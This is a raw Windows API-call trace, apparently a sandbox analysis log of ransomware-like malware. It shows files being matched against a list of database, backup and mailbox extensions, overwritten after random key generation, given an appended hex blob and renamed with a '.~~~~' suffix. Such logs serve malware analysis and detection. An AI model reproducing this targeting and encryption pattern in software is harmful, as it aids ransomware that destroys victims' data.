	[0123.319] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.319] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.319] CloseHandle (hObject=0x120) returned 1
	[0123.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0123.319] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.~~~~")) returned 1
	[0123.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0123.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.322] GetLastError () returned 0x0
	[0123.323] lstrlenW (lpString=".sqb") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".sqb") returned 0x0
	[0123.324] lstrlenW (lpString=".ost") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".ost") returned 0x0
	[0123.324] lstrlenW (lpString=".txt") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".txt") returned 0x0
	[0123.324] lstrlenW (lpString=".mdt") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".mdt") returned 0x0
	[0123.324] lstrlenW (lpString=".BDB") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".BDB") returned 0x0
	[0123.324] lstrlenW (lpString=".eql") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".eql") returned 0x0
	[0123.324] lstrlenW (lpString=".DBF") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DBF") returned 0x0
	[0123.324] lstrlenW (lpString=".EQL") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".EQL") returned 0x0
	[0123.324] lstrlenW (lpString=".FDB") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".FDB") returned 0x0
	[0123.324] lstrlenW (lpString=".EDB") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".EDB") returned 0x0
	[0123.324] lstrlenW (lpString=".DACPAC") returned 7
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DACPAC") returned 0x0
	[0123.324] lstrlenW (lpString=".VHD") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".VHD") returned 0x0
	[0123.324] lstrlenW (lpString=".DBV") returned 4
	[0123.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DBV") returned 0x0
	[0123.325] lstrlenW (lpString=".dacpac") returned 7
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".dacpac") returned 0x0
	[0123.325] lstrlenW (lpString=".sdf") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".sdf") returned 0x0
	[0123.325] lstrlenW (lpString=".accdb") returned 6
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".accdb") returned 0x0
	[0123.325] lstrlenW (lpString=".DBX") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DBX") returned 0x0
	[0123.325] lstrlenW (lpString=".MDT") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".MDT") returned 0x0
	[0123.325] lstrlenW (lpString=".SQB") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".SQB") returned 0x0
	[0123.325] lstrlenW (lpString=".vhd") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".vhd") returned 0x0
	[0123.325] lstrlenW (lpString=".bac") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".bac") returned 0x0
	[0123.325] lstrlenW (lpString=".mdf") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".mdf") returned 0x0
	[0123.325] lstrlenW (lpString=".BAK") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".BAK") returned 0x0
	[0123.325] lstrlenW (lpString=".BAC") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".BAC") returned 0x0
	[0123.325] lstrlenW (lpString=".dbs") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".dbs") returned 0x0
	[0123.325] lstrlenW (lpString=".vhdx") returned 5
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".vhdx") returned 0x0
	[0123.325] lstrlenW (lpString=".NDF") returned 4
	[0123.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".NDF") returned 0x0
	[0123.326] lstrlenW (lpString=".dat") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".dat") returned 0x0
	[0123.326] lstrlenW (lpString=".DBS") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DBS") returned 0x0
	[0123.326] lstrlenW (lpString=".CKP") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".CKP") returned 0x0
	[0123.326] lstrlenW (lpString=".edb") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".edb") returned 0x0
	[0123.326] lstrlenW (lpString=".PST") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".PST") returned 0x0
	[0123.326] lstrlenW (lpString=".dbf") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".dbf") returned 0x0
	[0123.326] lstrlenW (lpString=".SQL") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".SQL") returned 0x0
	[0123.326] lstrlenW (lpString=".pst") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".pst") returned 0x0
	[0123.326] lstrlenW (lpString=".dbv") returned 4
	[0123.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".dbv") returned 0x0
	[0123.326] lstrlenW (lpString=".SDF") returned 4
	[0123.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".SDF") returned 0x0
	[0123.399] lstrlenW (lpString=".dtxs") returned 5
	[0123.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".dtxs") returned 0x0
	[0123.399] lstrlenW (lpString=".db3") returned 4
	[0123.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".db3") returned 0x0
	[0123.399] lstrlenW (lpString=".OST") returned 4
	[0123.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".OST") returned 0x0
	[0123.399] lstrlenW (lpString=".dbx") returned 4
	[0123.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".dbx") returned 0x0
	[0123.399] lstrlenW (lpString=".DB3") returned 4
	[0123.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DB3") returned 0x0
	[0123.399] lstrlenW (lpString=".DAT") returned 4
	[0123.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DAT") returned 0x0
	[0123.399] lstrlenW (lpString=".VHDX") returned 5
	[0123.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".VHDX") returned 0x0
	[0123.399] lstrlenW (lpString=".ndf") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".ndf") returned 0x0
	[0123.400] lstrlenW (lpString=".DB") returned 3
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DB") returned 0x0
	[0123.400] lstrlenW (lpString=".sql") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".sql") returned 0x0
	[0123.400] lstrlenW (lpString=".MYD") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".MYD") returned 0x0
	[0123.400] lstrlenW (lpString=".DBT") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DBT") returned 0x0
	[0123.400] lstrlenW (lpString=".ACCDB") returned 6
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".ACCDB") returned 0x0
	[0123.400] lstrlenW (lpString=".fdb") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".fdb") returned 0x0
	[0123.400] lstrlenW (lpString=".bak") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".bak") returned 0x0
	[0123.400] lstrlenW (lpString=".myd") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".myd") returned 0x0
	[0123.400] lstrlenW (lpString=".DTXS") returned 5
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".DTXS") returned 0x0
	[0123.400] lstrlenW (lpString=".ckp") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".ckp") returned 0x0
	[0123.400] lstrlenW (lpString=".dbt") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".dbt") returned 0x0
	[0123.400] lstrlenW (lpString=".db") returned 3
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".db") returned 0x0
	[0123.400] lstrlenW (lpString=".TXT") returned 4
	[0123.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".TXT") returned 0x0
	[0123.401] lstrlenW (lpString=".MDF") returned 4
	[0123.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".MDF") returned 0x0
	[0123.401] lstrlenW (lpString=".bdb") returned 4
	[0123.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".bdb") returned 0x0
	[0123.401] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0123.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0123.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0123.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0123.401] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.402] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.402] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.402] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24339250210) returned 1
	[0123.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb30540d0, dwHighDateTime=0x1d60e1e)) 
	[0123.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f720
	[0123.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f720 | out: hHeap=0x300000) returned 1
	[0123.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3edc58
	[0123.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3edc58 | out: hHeap=0x300000) returned 1
	[0123.403] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.403] GetLastError () returned 0x0
	[0123.404] GetLastError () returned 0x0
	[0123.404] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.404] GetLastError () returned 0x0
	[0123.404] GetLastError () returned 0x0
	[0123.406] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1fb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.406] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xe05, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0xe05, lpOverlapped=0x0) returned 1
	[0123.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.409] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.409] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.409] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.409] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.409] CloseHandle (hObject=0x120) returned 1
	[0123.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0123.414] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.~~~~")) returned 1
	[0123.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5c88 | out: hHeap=0x300000) returned 1
	[0123.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.459] GetLastError () returned 0x0
	[0123.459] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.460] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.460] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.461] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24345070409) returned 1
	[0123.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb30ec650, dwHighDateTime=0x1d60e1e)) 
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f800
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f800 | out: hHeap=0x300000) returned 1
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6028
	[0123.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6028 | out: hHeap=0x300000) returned 1
	[0123.461] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.462] GetLastError () returned 0x0
	[0123.462] GetLastError () returned 0x0
	[0123.462] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.462] GetLastError () returned 0x0
	[0123.462] GetLastError () returned 0x0
	[0123.476] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff113, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.476] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xeed, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0xeed, lpOverlapped=0x0) returned 1
	[0123.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.478] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.478] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.478] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.478] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.479] CloseHandle (hObject=0x11c) returned 1
	[0123.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0123.479] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.~~~~")) returned 1
	[0123.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5c88 | out: hHeap=0x300000) returned 1
	[0123.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.484] GetLastError () returned 0x0
	[0123.485] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.486] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.486] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.486] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24347631092) returned 1
	[0123.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3138910, dwHighDateTime=0x1d60e1e)) 
	[0123.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
